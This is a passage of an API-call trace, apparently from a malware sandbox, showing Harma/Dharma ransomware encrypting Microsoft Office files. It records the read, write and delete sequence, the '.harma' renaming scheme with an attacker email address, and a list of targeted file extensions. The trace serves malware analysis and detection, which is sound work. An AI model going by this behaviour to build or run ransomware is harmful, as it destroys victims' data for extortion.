office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.290] GetLastError () returned 0x0 [0155.290] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x27c, lpOverlapped=0x0) returned 1 [0155.317] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x280, lpOverlapped=0x0) returned 1 [0155.318] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.318] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0155.318] SetEndOfFile (hFile=0x37c) returned 1 [0155.318] CloseHandle (hObject=0x37c) returned 1 [0155.318] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.318] SetEndOfFile (hFile=0x374) returned 1 [0155.320] CloseHandle (hObject=0x374) returned 1 [0155.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 1 [0155.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.323] lstrlenW (lpString=".doc") returned 4 [0155.323] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0155.323] lstrlenW (lpString=".docx") returned 5 [0155.323] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0155.324] lstrlenW (lpString=".pdf") returned 4 [0155.324] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString=".xls") returned 4 [0155.324] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString=".xlsx") returned 5 [0155.324] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0155.324] lstrlenW (lpString=".ppt") returned 4 [0155.324] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.324] lstrlenW (lpString=".zip") returned 4 [0155.324] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString=".rar") returned 4 [0155.324] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString=".bz2") returned 4 [0155.324] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0155.324] lstrlenW (lpString=".7z") returned 3 [0155.324] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.324] lstrlenW (lpString=".dbf") returned 4 [0155.324] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.324] lstrlenW (lpString=".1cd") returned 4 [0155.324] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.324] lstrlenW (lpString=".jpg") returned 4 [0155.324] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.325] lstrlenW (lpString=".doc") returned 4 [0155.325] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0155.325] lstrlenW (lpString=".docx") returned 5 [0155.325] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0155.325] lstrlenW (lpString=".pdf") returned 4 [0155.325] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0155.325] lstrlenW (lpString=".xls") returned 4 [0155.325] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0155.325] lstrlenW (lpString=".xlsx") returned 5 [0155.325] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0155.325] lstrlenW (lpString=".ppt") returned 4 [0155.325] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0155.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.325] lstrlenW (lpString=".zip") returned 4 [0155.325] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0155.325] lstrlenW (lpString=".rar") returned 4 [0155.325] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0155.325] lstrlenW (lpString=".bz2") returned 4 [0155.325] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0155.325] lstrlenW (lpString=".7z") returned 3 [0155.325] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0155.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.325] lstrlenW (lpString=".dbf") returned 4 [0155.325] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0155.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.325] lstrlenW (lpString=".1cd") returned 4 [0155.325] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0155.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0155.325] lstrlenW (lpString=".jpg") returned 4 [0155.325] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0155.326] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0155.326] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18 [0155.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.326] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0155.326] CloseHandle (hObject=0x374) returned 1 [0155.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 0x20 [0155.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.327] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.327] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.328] GetLastError () returned 0x0 [0155.328] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0155.329] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0155.330] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.330] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0155.330] SetEndOfFile (hFile=0x37c) returned 1 [0155.330] CloseHandle (hObject=0x37c) returned 1 [0155.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.330] SetEndOfFile (hFile=0x374) returned 1 [0155.332] CloseHandle (hObject=0x374) returned 1 [0155.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 1 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.333] lstrlenW (lpString=".doc") returned 4 [0155.333] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.333] lstrlenW (lpString=".docx") returned 5 [0155.333] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.333] lstrlenW (lpString=".pdf") returned 4 [0155.333] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.333] lstrlenW (lpString=".xls") returned 4 [0155.333] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.334] lstrlenW (lpString=".xlsx") returned 5 [0155.334] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.334] lstrlenW (lpString=".ppt") returned 4 [0155.334] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString=".zip") returned 4 [0155.334] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.334] lstrlenW (lpString=".rar") returned 4 [0155.334] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.334] lstrlenW (lpString=".bz2") returned 4 [0155.334] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.334] lstrlenW (lpString=".7z") returned 3 [0155.334] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString=".dbf") returned 4 [0155.334] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString=".1cd") returned 4 [0155.334] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString=".jpg") returned 4 [0155.334] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.334] lstrlenW (lpString=".doc") returned 4 [0155.334] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.334] lstrlenW (lpString=".docx") returned 5 [0155.334] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.334] lstrlenW (lpString=".pdf") returned 4 [0155.335] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.335] lstrlenW (lpString=".xls") returned 4 [0155.335] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.335] lstrlenW (lpString=".xlsx") returned 5 [0155.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.335] lstrlenW (lpString=".ppt") returned 4 [0155.335] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.335] lstrlenW (lpString=".zip") returned 4 [0155.335] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.335] lstrlenW (lpString=".rar") returned 4 [0155.335] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.335] lstrlenW (lpString=".bz2") returned 4 [0155.335] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.335] lstrlenW (lpString=".7z") returned 3 [0155.335] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.335] lstrlenW (lpString=".dbf") returned 4 [0155.335] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.335] lstrlenW (lpString=".1cd") returned 4 [0155.335] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66 [0155.335] lstrlenW (lpString=".jpg") returned 4 [0155.335] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.335] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0155.336] lstrlenW (lpString="INSTLIST.VRD") returned 12 [0155.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.337] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1899) returned 1 [0155.337] CloseHandle (hObject=0x374) returned 1 [0155.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 0x20 [0155.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.337] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.337] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.338] GetLastError () returned 0x0 [0155.338] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x76b, lpOverlapped=0x0) returned 1 [0156.436] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x770, lpOverlapped=0x0) returned 1 [0156.437] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.439] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.439] SetEndOfFile (hFile=0x37c) returned 1 [0156.440] CloseHandle (hObject=0x37c) returned 1 [0156.440] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.440] SetEndOfFile (hFile=0x374) returned 1 [0156.442] CloseHandle (hObject=0x374) returned 1 [0156.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 1 [0156.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.464] lstrlenW (lpString=".doc") returned 4 [0156.464] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0156.464] lstrlenW (lpString=".docx") returned 5 [0156.464] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0156.464] lstrlenW (lpString=".pdf") returned 4 [0156.464] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0156.464] lstrlenW (lpString=".xls") returned 4 [0156.464] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0156.464] lstrlenW (lpString=".xlsx") returned 5 [0156.464] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0156.464] lstrlenW (lpString=".ppt") returned 4 [0156.464] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0156.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.464] lstrlenW (lpString=".zip") returned 4 [0156.465] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0156.465] lstrlenW (lpString=".rar") returned 4 [0156.465] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString=".bz2") returned 4 [0156.465] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString=".7z") returned 3 [0156.465] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0156.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.465] lstrlenW (lpString=".dbf") returned 4 [0156.465] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.465] lstrlenW (lpString=".1cd") returned 4 [0156.465] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.465] lstrlenW (lpString=".jpg") returned 4 [0156.465] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.465] lstrlenW (lpString=".doc") returned 4 [0156.465] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString=".docx") returned 5 [0156.465] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0156.465] lstrlenW (lpString=".pdf") returned 4 [0156.465] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0156.465] lstrlenW (lpString=".xls") returned 4 [0156.465] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0156.465] lstrlenW (lpString=".xlsx") returned 5 [0156.465] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0156.465] lstrlenW (lpString=".ppt") returned 4 [0156.465] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0156.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.466] lstrlenW (lpString=".zip") returned 4 [0156.466] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0156.466] lstrlenW (lpString=".rar") returned 4 [0156.466] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0156.466] lstrlenW (lpString=".bz2") returned 4 [0156.466] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0156.466] lstrlenW (lpString=".7z") returned 3 [0156.466] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0156.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.466] lstrlenW (lpString=".dbf") returned 4 [0156.466] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0156.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.466] lstrlenW (lpString=".1cd") returned 4 [0156.466] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0156.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0156.466] lstrlenW (lpString=".jpg") returned 4 [0156.466] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0156.466] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0156.466] lstrlenW (lpString="MAPIR.DLL") returned 9 [0156.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.081] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1124720) returned 1 [0157.081] CloseHandle (hObject=0x210) returned 1 [0157.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll")) returned 0x20 [0157.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0157.307] lstrlenW (lpString=".doc") returned 4 [0157.307] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString=".docx") returned 5 [0157.307] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0157.307] lstrlenW (lpString=".pdf") returned 4 [0157.307] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString=".xls") returned 4 [0157.307] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.307] lstrlenW (lpString=".xlsx") returned 5 [0157.307] lstrcmpiW (lpString1=".xlsx", 